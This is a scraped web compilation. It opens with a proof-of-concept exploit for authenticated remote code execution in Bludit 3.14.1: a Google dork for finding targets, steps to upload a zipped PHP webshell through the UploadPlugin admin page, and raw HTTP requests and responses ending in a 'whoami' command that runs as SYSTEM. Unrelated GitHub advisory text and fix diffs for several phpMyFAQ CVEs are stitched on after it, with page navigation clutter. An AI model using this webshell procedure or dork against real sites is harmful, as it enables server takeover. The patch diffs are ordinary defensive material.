Bludit version 3-14-1 suffers from a remote shell upload vulnerability.

    # Exploit Title: Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated)# Exploit Author: Alperen Ergel# Contact: @alpernae (IG/TW)# Software Homepage: https://www.bludit.com/# Version : 3-14-1# Tested on: windows 11 wampserver | Kali linux# Category: WebApp# Google Dork: intext:'2022 Powered by Bludit'# Date: 8.12.2022######## Description ##########  Step 1 : Archive as a zip your webshell (example: payload.zip)#  Step 2 : Login admin account and download 'UploadPlugin'#  Step 3 : Go to UploadPlugin section#  Step 4 : Upload your zip#  Step 5 : target/bl-plugins/[your_payload]######### Proof of Concept ########==============> START REQUEST <========================================POST /admin/plugin/uploadplugin HTTP/2Host: localhostCookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------308003478615795926433430552264Content-Length: 1820Origin: https://036e-88-235-222-210.eu.ngrok.ioDnt: 1Referer: https://036e-88-235-222-210.eu.ngrok.io/admin/plugin/uploadpluginUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailers-----------------------------308003478615795926433430552264Content-Disposition: form-data; name="tokenCSRF"b6487f985b68f2ac2c2d79b4428dda44696d6231-----------------------------308003478615795926433430552264Content-Disposition: form-data; name="pluginorthemes"plugins-----------------------------308003478615795926433430552264Content-Disposition: form-data; name="zip_file"; filename="a.zip"Content-Type: application/zipPK    †eˆU               a/PK   ”fˆUÆ  ª)¢  Ä      a/a.phpíVÛŽÓ0}ç+La BÛìVÜ–pX®ËJ @Vêº­!µƒíÒrûwl7É$mQyà‘<$©çÌÌ93ã¸È]ƒË·ï–óÒ=/.&nbsp;pÝãZ+M5/•¶BÎÈ0>©M†[jÅ‚ÓB,„õtOÌ¤Òœ.×4;’†e)¨ƒ¼È×”¯9[Z¡dðÆ  „Œ&Âd<ó`÷+œN—’y¼ÁRLÉE¾(í7â}âø‡_‡¥æ3OºÈ'xð>A¯p‚pânÁã¤ëÀ×e¡&œük£‹¼$Øj±ØFýâ…á@\@ªgxD¢Ì'áôæQ?½v£ŸöG7ñùZgéññõ“j±u\õ„±†à/ï¾ÎÞž´×T™HÄZu™jœHkª‰È£û§gÑÅ,CÆêRâVjÅ5yùø%}q»ú­„Ä(ŽQK*Ë"Öï¡£;—Ò²·­6z²ZŸgXÊò¢ðíÄ'éûù+ñÌ%µj,ÐäàN°ùf,_à8—“‹•[³˜lO€ScsmI«‡¬«H»¯*Sc?i”)i¹´&x@.'”<—¤Ûç]zs^a®·)‚hBz0;f rì‰þÇ¸0yÕU¥H"ÕÕÿI  IØ\“t{có~€J©£ªä²Ë Ö÷š;dÁ³âÙlh†»s%Ç  Ö8Nº+«}+Ž­ÿaºržŸŸžÂÂj.îvWS²A¿O?nHO?›jžO ¤Ã£Q+ì¯æí^ Ïe8©ô*Ô¾"ý¡@Ó2+ëÂ`÷kC57j©'Î"m ã®ho¹ xŸô Û;’œcçzÙQË·[kô¿Ý¯-2ì~¨“æv©¥C€î‘Tþ#k2,UØSŽ¦€­OÁS£Øg˜‚úK †QˆÜ  ØIÏ²òÖ`Ð:%F½$A"t;buOMr4Ýè~–eãÎ™åØXíÇm˜Ç(s 6A¸3,l>º…<N®¦q{s __~tÂ6á¾,…ÅèçO´ÇÆ×Î£v²±ãÿbÃ‘Ú’‘Ug[;pq›eÓÜÅØÿéJË}êv‚3ð8´# ŠOµsÈO«ýbƒh±ï°Ÿd—Ë…¹ÿˆ>yþðMröâÁSzöæõÃûÏÜû)}óàeºqQRrf}êê_D Ø0ìu’õv'§öø?@‡ êûOæh'˜Oœ8f—D¼5[à²=b~PK?    †eˆU             $       €íA    a/          þš®,Ù þš®,Ù€ø¨j.ÙPK?   ”fˆUÆ  ª)¢  Ä    $        €¤    a/a.php          ¤eÝ-Ù ÷C-Ù bj.ÙPK      ­   ç    -----------------------------308003478615795926433430552264Content-Disposition: form-data; name="submit"Upload-----------------------------308003478615795926433430552264--==============> END REQUEST <========================================## WEB SHELL UPLOADED!==============> START RESPONSE <========================================HTTP/2 200 OKCache-Control: no-store, no-cache, must-revalidateContent-Type: text/html; charset=UTF-8Date: Thu, 08 Dec 2022 18:01:43 GMTExpires: Thu, 19 Nov 1981 08:52:00 GMTNgrok-Trace-Id: f3a92cc45b7ab0ae86e98157bb026ab4Pragma: no-cacheServer: Apache/2.4.51 (Win64) PHP/7.4.26X-Powered-By: Bludit....==============> END RESPONSE <========================================# REQUEST THE WEB SHELL==============> START REQUEST <========================================GET /bl-plugins/a/a.php?cmd=whoami HTTP/2Host: localhostCookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailers==============> END REQUEST <======================================================> START RESPONSE <========================================HTTP/2 200 OKContent-Type: text/html; charset=UTF-8Date: Thu, 08 Dec 2022 18:13:14 GMTNgrok-Trace-Id: 30639fc66dcf46ebe29cc45cf1bf3919Server: Apache/2.4.51 (Win64) PHP/7.4.26X-Powered-By: PHP/7.4.26Content-Length: 32<pre>nt authority\system</pre>==============> END RESPONSE <========================================

Bludit 3-14-1 Shell Upload

Improper Input Validation in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

**phpMyFAQ Improper Input Validation vulnerability**

Moderate severity GitHub Reviewed Published Mar 31, 2023 to the GitHub Advisory Database • Updated Mar 31, 2023

GHSA-gvg8-r8w2-9gfj: phpMyFAQ Improper Input Validation vulnerability

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

**phpMyFAQ Stored Cross-site Scripting vulnerability**

Moderate severity GitHub Reviewed Published Mar 31, 2023 to the GitHub Advisory Database • Updated Mar 31, 2023

GHSA-4wfc-ghv5-2v7j: phpMyFAQ Stored Cross-site Scripting vulnerability

Weak Password Requirements in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

**phpMyFAQ has Weak Password Requirements**

Moderate severity GitHub Reviewed Published Mar 31, 2023 to the GitHub Advisory Database • Updated Mar 31, 2023

GHSA-4p4m-5qp7-479x: phpMyFAQ has Weak Password Requirements

GHSA-7q9c-f2v8-j8gw: phpMyFAQ Stored Cross-site Scripting vulnerability

Cross-site Scripting (XSS) - Generic in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

**phpMyFAQ Cross-site Scripting vulnerability**

Moderate severity GitHub Reviewed Published Mar 31, 2023 to the GitHub Advisory Database • Updated Mar 31, 2023

GHSA-hp8m-g55r-9cfq: phpMyFAQ Cross-site Scripting vulnerability

Code Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

**phpMyFAQ Code Injection vulnerability**

High severity GitHub Reviewed Published Mar 31, 2023 to the GitHub Advisory Database • Updated Mar 31, 2023

GHSA-6cpg-gqgq-2rrr: phpMyFAQ Code Injection vulnerability

Improper Privilege Management in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

@@ -121,6 +121,10 @@

$isSuperAdmin = Filter::filterInput(INPUT\_POST, 'is\_superadmin', FILTER\_UNSAFE\_RAW);

$isSuperAdmin = $isSuperAdmin === 'on';

  

if (!$user\->isSuperAdmin()) {

$isSuperAdmin = false;

}

  

// Sanity check

if (is\_null($userData\['email'\])) {

$message .= sprintf('<p class="alert alert-danger">%s</p>', $PMF\_LANG\['err\_noMailAdress'\]);

@@ -705,6 +709,7 @@ class="form-control">

</div\>

</div\>

  

<?php if ($user\->isSuperAdmin()) { ?>

<div class\="form-group row"\>

<div class\="col-lg-4"\></div\>

<div class\="col-lg-8"\>

@@ -716,6 +721,7 @@ class="form-control">

</div\>

</div\>

</div\>

<?php } ?>

  

</form\>

</div\>

CVE-2023-1762: fix: privilege escalation for users with insufficient permissions · thorsten/phpMyFAQ@ae6c1d8

 Code Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

Skip to content

Sign up

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    *   Explore
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Blog
    
*   *   For
    *   Enterprise
    *   Teams
    *   Startups
    *   Education
    
    *   By Solution
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    *   Case Studies
    *   Customer Stories
    *   Resources
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    *   Repositories
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

*   In this repository All GitHub
    

*   No suggested jump to results

*   In this repository All GitHub
    
*   In this user All GitHub
    
*   In this repository All GitHub
    

Sign in

Sign up

thorsten / **phpMyFAQ** Public

*   Notifications
*   Fork 237
*   Star 557
    

*   Code
*   Issues 24
*   Pull requests
*   Discussions
*   Actions
*   Projects 2
*   Security
*   Insights

More

Permalink

Browse files

fix: strip tags in comments

*   Loading branch information

thorsten committed

Feb 14, 2023

1 parent ae6c1d8 commit 128ef85

Show file tree

Hide file tree

Showing **2 changed files** with **2 additions** and **2 deletions**.

*   *   ajaxservice.php
    *   *   Comments.php

2 phpmyfaq/ajaxservice.php

Show comments View file

@@ -200,7 +200,7 @@

\->setType($type)

\->setUsername($username)

\->setEmail($mailer)

\->setComment(nl2br($comment))

\->setComment(nl2br(strip\_tags($comment)))

\->setDate($\_SERVER\['REQUEST\_TIME'\]);

  

if ($oComment\->addComment($commentEntity)) {

2 phpmyfaq/src/phpMyFAQ/Comments.php

Show comments View file

@@ -83,7 +83,7 @@ public function getComments(int $id, string $type): string

$output .= sprintf(

'<strong><a href="mailto:%s">%s</a></strong>',

$mail\->safeEmail($item\->getEmail()),

$item\->getUsername()

Strings::htmlentities($item\->getUsername())

);

$output .= sprintf(' <span class="text-muted">(%s)</span>', $date\->format($item\->getDate()));

$output .= ' </div>';

**0 comments on commit 128ef85**

Please sign in to comment.

CVE-2023-1761: fix: strip tags in comments · thorsten/phpMyFAQ@128ef85

@@ -43,9 +43,9 @@  
if ($user\->perm\->hasPermission($user\->getUserId(), 'add\_faq')) { // FAQ data $dateStart = Filter::filterInput(INPUT\_POST, 'dateStart', FILTER\_UNSAFE\_RAW); $dateEnd = Filter::filterInput(INPUT\_POST, 'dateEnd', FILTER\_UNSAFE\_RAW); $question = Filter::filterInput(INPUT\_POST, 'question', FILTER\_UNSAFE\_RAW); $dateStart = Filter::filterInput(INPUT\_POST, 'dateStart', FILTER\_SANITIZE\_SPECIAL\_CHARS); $dateEnd = Filter::filterInput(INPUT\_POST, 'dateEnd', FILTER\_SANITIZE\_SPECIAL\_CHARS); $question = Filter::filterInput(INPUT\_POST, 'question', FILTER\_SANITIZE\_SPECIAL\_CHARS); $categories = Filter::filterInputArray( INPUT\_POST, \[ @@ -55,25 +55,25 @@ \], \] ); $recordLang = Filter::filterInput(INPUT\_POST, 'lang', FILTER\_UNSAFE\_RAW); $tags = Filter::filterInput(INPUT\_POST, 'tags', FILTER\_UNSAFE\_RAW); $active = Filter::filterInput(INPUT\_POST, 'active', FILTER\_UNSAFE\_RAW); $sticky = Filter::filterInput(INPUT\_POST, 'sticky', FILTER\_UNSAFE\_RAW); $recordLang = Filter::filterInput(INPUT\_POST, 'lang', FILTER\_SANITIZE\_SPECIAL\_CHARS); $tags = Filter::filterInput(INPUT\_POST, 'tags', FILTER\_SANITIZE\_SPECIAL\_CHARS); $active = Filter::filterInput(INPUT\_POST, 'active', FILTER\_SANITIZE\_SPECIAL\_CHARS); $sticky = Filter::filterInput(INPUT\_POST, 'sticky', FILTER\_SANITIZE\_SPECIAL\_CHARS); $content = Filter::filterInput(INPUT\_POST, 'answer', FILTER\_SANITIZE\_SPECIAL\_CHARS); $keywords = Filter::filterInput(INPUT\_POST, 'keywords', FILTER\_UNSAFE\_RAW); $author = Filter::filterInput(INPUT\_POST, 'author', FILTER\_UNSAFE\_RAW); $keywords = Filter::filterInput(INPUT\_POST, 'keywords', FILTER\_SANITIZE\_SPECIAL\_CHARS); $author = Filter::filterInput(INPUT\_POST, 'author', FILTER\_SANITIZE\_SPECIAL\_CHARS); $email = Filter::filterInput(INPUT\_POST, 'email', FILTER\_VALIDATE\_EMAIL); $comment = Filter::filterInput(INPUT\_POST, 'comment', FILTER\_UNSAFE\_RAW); $comment = Filter::filterInput(INPUT\_POST, 'comment', FILTER\_SANITIZE\_SPECIAL\_CHARS); $recordId = Filter::filterInput(INPUT\_POST, 'id', FILTER\_VALIDATE\_INT); $solutionId = Filter::filterInput(INPUT\_POST, 'solution\_id', FILTER\_VALIDATE\_INT); $revisionId = Filter::filterInput(INPUT\_POST, 'revision\_id', FILTER\_VALIDATE\_INT); $changed = Filter::filterInput(INPUT\_POST, 'changed', FILTER\_UNSAFE\_RAW); $date = Filter::filterInput(INPUT\_POST, 'date', FILTER\_UNSAFE\_RAW); $notes = Filter::filterInput(INPUT\_POST, 'notes', FILTER\_UNSAFE\_RAW); $changed = Filter::filterInput(INPUT\_POST, 'changed', FILTER\_SANITIZE\_SPECIAL\_CHARS); $date = Filter::filterInput(INPUT\_POST, 'date', FILTER\_SANITIZE\_SPECIAL\_CHARS); $notes = Filter::filterInput(INPUT\_POST, 'notes', FILTER\_SANITIZE\_SPECIAL\_CHARS);  
// Permissions $permissions = \[\]; if ('all' === Filter::filterInput(INPUT\_POST, 'userpermission', FILTER\_UNSAFE\_RAW)) { if ('all' === Filter::filterInput(INPUT\_POST, 'userpermission', FILTER\_SANITIZE\_SPECIAL\_CHARS)) { $permissions += \[ 'restricted\_user' => \[ \-1, @@ -87,7 +87,7 @@ \]; }  
if ('all' === Filter::filterInput(INPUT\_POST, 'grouppermission', FILTER\_UNSAFE\_RAW)) { if ('all' === Filter::filterInput(INPUT\_POST, 'grouppermission', FILTER\_SANITIZE\_SPECIAL\_CHARS)) { $permissions += \[ 'restricted\_groups' => \[ \-1, @@ -203,7 +203,7 @@ // notify the user who added the question try { $notifyEmail = Filter::filterInput(INPUT\_POST, 'notifyEmail', FILTER\_SANITIZE\_EMAIL); $notifyUser = Filter::filterInput(INPUT\_POST, 'notifyUser', FILTER\_UNSAFE\_RAW); $notifyUser = Filter::filterInput(INPUT\_POST, 'notifyUser', FILTER\_SANITIZE\_SPECIAL\_CHARS); $notification\->sendOpenQuestionAnswered($notifyEmail, $notifyUser, $oLink\->toString()); } catch (Exception $e) { printf('<p class="alert alert-warning">%s</p>', $e\->getMessage());

Tag

#php